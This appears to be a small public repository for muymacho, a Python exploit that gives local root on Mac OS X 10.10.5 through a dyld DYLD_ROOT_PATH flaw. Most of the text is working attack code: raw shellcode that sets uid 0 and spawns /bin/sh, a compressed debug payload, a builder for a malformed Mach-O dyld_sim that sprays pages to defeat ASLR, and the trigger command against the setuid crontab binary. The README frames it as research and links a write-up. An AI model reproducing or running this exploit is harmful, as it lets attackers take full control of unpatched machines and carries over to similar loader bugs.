├── .gitignore ├── README.md └── muymacho.py /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_STORE 2 | *.wp[ru] 3 | *.pyc 4 | test/ 5 | 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Introduction 2 | *muymacho* is an exploit for a DYLD_ROOT_PATH vulnerability present in Mac OS X 10.10.5 allowing local privilege escalation to root. It has been patched in El Capitan (10.11). 3 | 4 | Luis Miras [@_luism](https://twitter.com/_luism) 5 | 6 | It was a fun bug and exploit to develop. This [post](http://luismiras.github.io/muymacho-exploiting_DYLD_ROOT_PATH) is written as a guide through the process. 7 | 8 | > dyld_sim is a Mach-O file, but the exploit produces a dyld_sim that is just muymacho :) 9 | 10 | # Usage 11 | 12 | muymacho creates a malformed Mach-O library, dyld_sim, used to exploit 13 | dyld through the DYLD_ROOT_PATH environment variable. For more info see: 14 | http://luismiras.github.io 15 | 16 | 17 | USAGE: muymacho.py [-d] base_directory 18 | 19 | -d : super sekret debug shellcode 20 | 21 | base_directory : dyld_sim will be created in base_directory/usr/lib/dyld_sim 22 | 23 | example: 24 | 25 | python muymacho.py /tmp 26 | 27 | a malformed dyld_sim will be created in /tmp/usr/lib/dyld_sim 28 | exploitation is then achived by executing: 29 | 30 | DYLD_ROOT_PATH=/tmp crontab 31 | 32 | # super sekret debug shellcode 33 | 34 | Sometimes I am curious as to which segment was used in exploitation as well as the various ASLR addresses. In practice, the actual addresses are irrelevant. I included a debug shellcode that provides this information back to the user. 35 | 36 | The super sekret debug shellcode is selected by passing a "-d" command line switch. After muymacho returns with the hashtag symbol (aka #), be sure to type in: 37 | 38 | echo "$MUYMACHO" 39 | 40 | ![debug infoz](http://luismiras.github.io/assets/debug_infoz.png) 41 | -------------------------------------------------------------------------------- /muymacho.py: -------------------------------------------------------------------------------- 1 | ''' 2 | muymacho.py - exploit for DYLD_ROOT_PATH vuln in OS X 10.10.5 3 | 4 | Luis Miras @_luism 5 | 6 | muymacho is an exploit for a dyld bug present in Mac OS X 10.10.5 7 | allowing local privilege escalation to root. It has been patched in 8 | El Capitan. 9 | 10 | muymacho creates a malformed Mach-O library, dyld_sim, used to exploit 11 | dyld through the DYLD_ROOT_PATH environment variable. For more info see: 12 | http://luismiras.github.io 13 | 14 | 15 | USAGE: muymacho.py [-d] base_directory 16 | 17 | -d super secret debug shellcode 18 | base_directory dyld_sim will be created in base_directory/usr/lib/dyld_sim 19 | 20 | example: python muymacho.py /tmp 21 | 22 | a malformed dyld_sim will be created in /tmp/usr/lib/dyld_sim 23 | exploitation is then achived by executing: 24 | DYLD_ROOT_PATH=/tmp crontab 25 | 26 | 27 | The super sekret debug shellcode is selected by passing a "-d" command line 28 | switch. After muymacho returns with the hashtag symbol (aka #), 29 | be sure to type in: 30 | 31 | echo "$MUYMACHO" 32 | 33 | ''' 34 | import os 35 | import sys 36 | import platform 37 | 38 | from struct import pack 39 | 40 | shellcode = "\x49\x89\xc4\x49\x83\xc4\x21\xb8\x17\x00\x00\x02\x48\x31\xff" \ 41 | "\x0f\x05\xb8\x3b\x00\x00\x02\x4c\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f" \ 42 | "\x05\x2f\x62\x69\x6e\x2f\x73\x68\x00" 43 | 44 | jmp_rax = "\xff\xe0" 45 | 46 | debug = "\x78\xda\x9d\x95\xcd\x4f\x13\x41\x14\xc0\xb7\xa4\x7c\xc4\x83\x18\x2f\x1e\xb8\x7a" \ 47 | "\xf3\x80\x15\xbf\x88\x17\x89\x97\x21\xe9\xc9\xff\x40\x54\xa2\x17\x2f\x86\x3b\xd0" \ 48 | "\x59\x66\x77\xc8\x26\x6e\x62\x24\xa9\x31\xe9\xc5\x0b\x7f\x41\x8d\x09\x55\x81\x6d" \ 49 | "\x1c\xa0\x4d\x34\x69\xe8\x05\x0d\x0a\x14\xea\x57\x4a\x76\x0c\x1e\xac\xef\x4d\xb7" \ 50 | "\xdb\x6d\x2b\xcd\xd2\xb7\x79\x9d\xe9\xbc\xf7\x7e\xfb\x66\xe6\xcd\xec\x58\x7a\xfa" \ 51 | "\x94\xa6\x8d\x47\x4a\xe3\xe6\xca\xb8\xb9\x41\x96\xfe\x68\x35\x89\x47\x76\x33\x9f" \ 52 | "\xfb\xb0\xcd\xbe\x1a\x82\xff\x87\xe4\x65\xdc\x74\x48\xec\x7d\x26\xdd\xaf\x69\x24" \ 53 | "\xf2\x9b\xa4\x17\x3d\x21\x23\xd1\xd3\xc4\x04\x4d\x38\x03\x64\xf4\xef\xd4\xce\xe4" \ 54 | "\xfc\xad\xb3\x93\x63\xe6\x74\x35\xaa\x69\x99\x67\xbd\x00\x31\xcb\xa5\x9b\x00\xc9" \ 55 | "\xdc\x86\x3f\xaf\xd3\x1a\x02\xca\x64\x7e\xa8\x74\x01\xba\xe9\x73\x9a\xd6\x43\x62" \ 56 | "\xd5\xc1\xde\xb8\xf9\x8e\x24\x0e\xce\xc4\xcd\x9e\xf4\x0d\x1c\xcb\x54\xfc\x64\xf6" \ 57 | "\x48\x4c\x82\x43\x24\x4b\x96\xb6\x1b\x19\x12\xf3\x88\x24\xf6\x7b\xc9\xdb\xf2\x00" \ 58 | "\x68\x94\xc4\xde\x18\x9b\xe7\x07\x79\xb4\xcf\xe8\x27\xd5\x3c\x19\x3d\x9a\x2a\x2d" \ 59 | "\x5f\x8c\x5d\x1a\xb9\x7c\xe5\xea\xb5\xeb\xa3\x77\x26\xee\xde\xbb\x3f\x39\x3c\xf1" \ 60 | "\xf0\xd1\xf0\xe3\x07\x1a\x6f\x17\x29\x41\x53\xad\xa3\x05\x1e\x4a\x74\x9d\xeb\xa2" \ 61 | "\x9b\x60\xd7\x75\x31\xd6\x75\x9b\x82\x67\x58\x4d\x66\x3a\x85\xce\x0a\x78\xc0\xc9" \ 62 | "\x60\x22\x91\x5a\x74\x56\x1d\x4a\xe9\x5e\xf5\x70\xaf\xbc\xbf\xbd\xb3\x90\xe2\xdd" \ 63 | "\x49\x4b\x22\xe1\x45\x97\xb5\xd5\x83\x09\x29\xc5\x5e\xb3\x06\x6d\xbc\x3e\xa4\x06" \ 64 | "\x21\x94\xcb\xba\xc1\xc5\x14\x74\x0b\x5a\x81\x2a\x11\x1c\xd4\xa0\x0d\x5e\x6b\xd5" \ 65 | "\x5a\xd5\x51\x20\xee\x72\x65\x50\x0e\x29\xde\x14\x8a\xaf\x09\xb4\xad\xe8\x5d\x49" \ 66 | "\xa5\xab\xab\x5c\xea\xee\x75\x03\x4e\xce\x8b\xf2\x15\xf7\x4e\xea\x02\xdb\x76\x9b" \ 67 | "\x4e\x7d\x27\xd9\x1a\x04\xeb\x24\x75\x8c\xf5\x15\x06\x39\x17\xaa\x7d\xda\x66\x6b" \ 68 | "\x38\x81\x57\x73\x50\xaa\xc3\x7e\x74\xb6\x2b\x70\xb7\x55\xd2\x90\x03\xd7\xf9\xb4" \ 69 | "\x5c\xcc\xa6\xc2\x92\xa8\xa1\x9e\x70\xee\xb3\xc2\xeb\x88\x44\x6b\x99\x52\xb6\xc0" \ 70 | "\x42\x52\xb8\x45\xc1\x9d\x51\x66\x37\x67\xc2\x80\xce\x2c\x34\x87\xe3\x50\x66\x09" \ 71 | "\xba\xca\x21\x15\x19\x5c\x67\x34\x20\x1f\x48\x42\x86\x22\x09\x1b\x4e\x6d\xa2\x46" \ 72 | "\xb1\x83\x20\x9d\xdb\x50\xdb\x48\xb3\xb8\x08\x39\x39\x61\x1b\xc2\xc3\xf8\x69\xd9" \ 73 | "\x9c\x42\x56\x16\xae\x13\x90\x20\xa9\xfa\x7d\x72\x8c\x78\xd7\xcc\x2c\xfe\x24\x9a" \ 74 | "\x2e\xae\x02\x26\x45\x19\x26\x04\xc2\x20\x29\x18\xf9\xf1\xb3\x54\xfd\xce\xbf\x7c" \ 75 | "\xfd\xb6\xf3\x8b\x1f\x77\xe5\x59\xf5\x18\x3f\xab\x02\x66\x24\x60\xb5\x99\xc5\x64" \ 76 | "\x0d\xd4\x49\x7c\xb3\xee\x52\xa8\x65\x5a\xc0\xe3\xe3\xcd\x8e\x5b\xc0\x62\x40\xa2" \ 77 | "\x0a\x53\xcc\x6f\x64\xf3\x2b\x5b\x3c\xf9\xa1\x52\x39\x1e\xd3\x28\x07\x46\xd5\x4d" \ 78 | "\x23\x05\x0e\xba\x36\x9b\x53\x14\x67\x75\x2d\x57\xce\xe5\x36\xf3\xc5\xe2\x13\x40" \ 79 | "\x25\x93\xc9\xe7\x15\x14\xe8\xf8\x94\x42\xa0\x18\xa0\xfe\x6c\x24\x49\xac\x22\x8f" \ 80 | "\x91\xfb\xe8\xe4\xdc\xad\xb5\xcd\x8d\xfc\x16\x32\x5e\xac\xaf\xaf\xb7\x31\x64\x4b" \ 81 | "\x46\xc2\xb0\x05\x13\x73\xcc\x80\x5b\x3c\xf4\xa2\xc8\xa6\xd6\x62\x0c\x6a\x8f\xb6" \ 82 | "\x6f\xf4\xcc\xff\x37\x5a\x9d\x09\xff\x6c\xa8\x70\x50\x4b\x3f\xd1\x07\x4c\x78\xcb" \ 83 | "\xc8\x85\x85\x68\x4b\xd8\x27\xfe\xfe\x09\xc3\x30\xe0\x60\xe2\xc5\x36\x17\xee\xe5" \ 84 | "\xff\x00\xa8\xdb\x11\xe3" 85 | 86 | debug_flag = False 87 | 88 | def pack_uint32(x): 89 | return pack(" self.data_offset: 144 | raise "headers too large for that data offset" 145 | 146 | if debug_flag: 147 | padding = debug[0x1d2:] 148 | 149 | else: 150 | padding_len = self.data_offset - len(mf) 151 | padding = "\x00" * padding_len 152 | 153 | mf += padding 154 | mf += self.data_content 155 | return mf 156 | 157 | 158 | def add_load_command(self, command): 159 | 160 | self.load_commands.append(command) 161 | return 162 | 163 | def add_data(self, file_offset, data): 164 | 165 | self.data_offset = file_offset 166 | self.data_content = data 167 | return 168 | 169 | 170 | class LC_SEGMENT_64(object): 171 | 172 | COMMANDS = {0x19: "LC_SEGMENT_64"} 173 | def __init__(self, segment_name, vm_address, vm_size, file_offset, file_size, init_prot=5, flags=0): 174 | 175 | self.command = 0x00000019 176 | self.command_size = 72 #hardcoded for now 177 | self.segment_name = segment_name[:16] 178 | self.vm_address = vm_address 179 | self.vm_size = vm_size 180 | self.file_offset = file_offset 181 | self.file_size = file_size 182 | self.max_proc = 0x00000007 # hardcoded for now 183 | self.init_proc = init_prot 184 | self.sections = [] # sections not supported yet 185 | self.flags = flags 186 | return 187 | 188 | 189 | def render(self): 190 | ''' 191 | renders the completed segment 192 | ''' 193 | seg = "" 194 | seg += pack_uint32(self.command) 195 | 196 | if len(self.sections) == 0: 197 | command_size = 72 198 | else: 199 | raise "sections not supported yet" 200 | 201 | seg += pack_uint32(command_size) 202 | seg += self.pad_segment_name() 203 | seg += pack_uint64(self.vm_address) 204 | seg += pack_uint64(self.vm_size) 205 | seg += pack_uint64(self.file_offset) 206 | seg += pack_uint64(self.file_size) 207 | seg += pack_uint32(self.max_proc) 208 | seg += pack_uint32(self.init_proc) 209 | seg += pack_uint32(len(self.sections)) # number of sections 210 | seg += pack_uint32(self.flags) 211 | return seg 212 | 213 | 214 | def size(self): 215 | 216 | return len(self.render()) 217 | 218 | 219 | def pad_segment_name(self): 220 | 221 | seg_name = self.segment_name 222 | l = len(seg_name) 223 | if l < 16: 224 | seg_name += (16-l) * '\x00' 225 | return seg_name[:16] 226 | 227 | 228 | 229 | def build_base_page(): 230 | ''' 231 | returns a base page 232 | 233 | muymacho's payload has two types of pages 234 | 235 | only the base page contains the shellcode 236 | all pages contain a 'jmp rax' instruction 237 | at off 0xdc6 238 | 239 | 240 | base page other pages 241 | +-----------------+ +-----------------+ 242 | 0xfff | | | | 243 | | | | | 244 | +-----------------+ +-----------------+ 245 | 0xdc6 +--- | jmp rax | +----+| jmp rax | 246 | | +-----------------+ | +-----------------+ 247 | | | | | | | 248 | | | | | | | 249 | | | | | | | 250 | | | | | | | 251 | | | | | | | 252 | | | | | | | 253 | | +-----------------+ | | | 254 | | | | | | | 255 | +--> | shellcode | <----+ | | 256 | 0x000 | | | | 257 | +-----------------+ +-----------------+ 258 | 259 | ''' 260 | 261 | #page = shellcode 262 | page = shellcode 263 | 264 | if debug_flag: 265 | from zlib import decompress 266 | global debug 267 | debug = decompress(debug) 268 | page = debug[:0x1d2] 269 | padding_len = 0xdc6 - len(page) 270 | page += "$" * padding_len 271 | page += jmp_rax 272 | padding_len = 0x1000 - len(page) 273 | page += "$" * padding_len 274 | 275 | return page 276 | 277 | 278 | def build_other_pages(): 279 | ''' 280 | returns an other page 281 | 282 | other pages 283 | +-----------------+ 284 | | | 285 | | | 286 | +-----------------+ 287 | | jmp rax | 288 | +-----------------+ 289 | | | 290 | | | 291 | | | 292 | | | 293 | | | 294 | | | 295 | | | 296 | | | 297 | | | 298 | | | 299 | +-----------------+ 300 | 301 | ''' 302 | 303 | page = "$" * 0xdc6 304 | page += jmp_rax 305 | padding_len = 0x1000 - len(page) 306 | page += "$" * padding_len 307 | 308 | return page 309 | 310 | 311 | def maximum_vmaddr(segment_size): 312 | ''' 313 | returns the maximum vmaddr 314 | 315 | the function assumes the base binary is 9 pages long 316 | as is the case for crontab giving a 317 | loadAddress_min of 0x100009000 318 | 319 | if attacking other suid programs, this value should 320 | be adjusted. in reality a few pages here or there 321 | won't have a noticeable effect. 322 | ''' 323 | dyld_target = 0x7fff5fc26000 324 | loadAddress_min = 0x100009000 325 | aslr_slide_max = 0x0ffff000 326 | 327 | dyld_target_max = dyld_target + aslr_slide_max 328 | maximum_offset = dyld_target_max - loadAddress_min 329 | 330 | # Only one page from the payload needs to hit the maximum offset. 331 | vmaddr = maximum_offset - segment_size + 0x1000 332 | 333 | return vmaddr 334 | 335 | 336 | def create_target_dir(path): 337 | 338 | if not os.path.isdir(path): 339 | os.makedirs(path) # don't catch exception 340 | 341 | return True 342 | 343 | 344 | def muymacho(path): 345 | ''' 346 | builds a muymacho dyld_sim file 347 | 348 | ''' 349 | base_dir = os.path.abspath(os.path.expanduser(path)) 350 | print "[+] using base_directory: %s" % base_dir 351 | target_dir = os.path.join(base_dir, "usr", "lib") 352 | print "[+] creating dir: %s" % target_dir 353 | create_target_dir(target_dir) 354 | filename = os.path.join(target_dir, "dyld_sim") 355 | 356 | print "[+] creating macho file: %s" % filename 357 | segment_size = 0x1000000 358 | data_offset = 0x1000 359 | 360 | mf = MachoFile() 361 | vmaddr = maximum_vmaddr(segment_size) 362 | 363 | for x in range(32): 364 | seg_name = "segment 0x%.2x" % x 365 | print " LC_SEGMENT_64: %s vm_addr: 0x%x" % (seg_name, vmaddr) 366 | seg = LC_SEGMENT_64(seg_name, vmaddr, 0x1000, data_offset, segment_size) 367 | mf.add_load_command(seg) 368 | vmaddr -= segment_size 369 | 370 | print "[+] building payload" 371 | data = build_base_page() 372 | 373 | for x in range(0x1000, segment_size, 0x1000): 374 | data += build_other_pages() 375 | 376 | mf.add_data(data_offset, data) 377 | mf.write_to_file(filename) 378 | print "[+] dyld_sim successfully created" 379 | print "" 380 | print "To exploit enter:" 381 | print " DYLD_ROOT_PATH=%s crontab\n" % base_dir 382 | if debug_flag: 383 | print "For DEBUG INFO, enter the following after receiving" 384 | print "the hashtag symbol (aka #):" 385 | print " echo \"$MUYMACHO\"\n" 386 | return 387 | 388 | def usage(): 389 | print "USAGE: muymacho.py [-d] base_directory\n" 390 | print " -d super sekret debug shellcode" 391 | print " base_directory dyld_sim will be created in base_directory/usr/lib/dyld_sim" 392 | print "" 393 | print "example: python muymacho.py /tmp\n" 394 | print "a malformed dyld_sim will be created in /tmp/usr/lib/dyld_sim" 395 | print "exploitation is then achived by executing:" 396 | print " DYLD_ROOT_PATH=/tmp crontab\n" 397 | 398 | sys.exit() 399 | return 400 | 401 | 402 | if __name__ == "__main__": 403 | 404 | print "muymacho.py - exploit for DYLD_ROOT_PATH vuln in OS X 10.10.5" 405 | print "Luis Miras @_luism" 406 | print "" 407 | 408 | if platform.mac_ver()[0] != "10.10.5": 409 | print "muymacho exploits 10.10.5. platform.mac_ver reported: %s\n" % platform.mac_ver()[0] 410 | sys.exit(1) 411 | 412 | import getopt 413 | 414 | try: 415 | opts, args = getopt.getopt(sys.argv[1:], "hd", ["help", "debug"]) 416 | except getopt.GetoptError as err: 417 | print str(err) 418 | usage() 419 | sys.exit(2) 420 | for o, a in opts: 421 | if o in ("-h", "--help"): 422 | usage() 423 | elif o in ("-d", "--debug"): 424 | debug_flag = True 425 | else: 426 | assert False, "Unknown option" 427 | 428 | if len(args) < 1: 429 | print "missing base directory value\n" 430 | usage() 431 | 432 | muymacho(args[0]) 433 | 434 | --------------------------------------------------------------------------------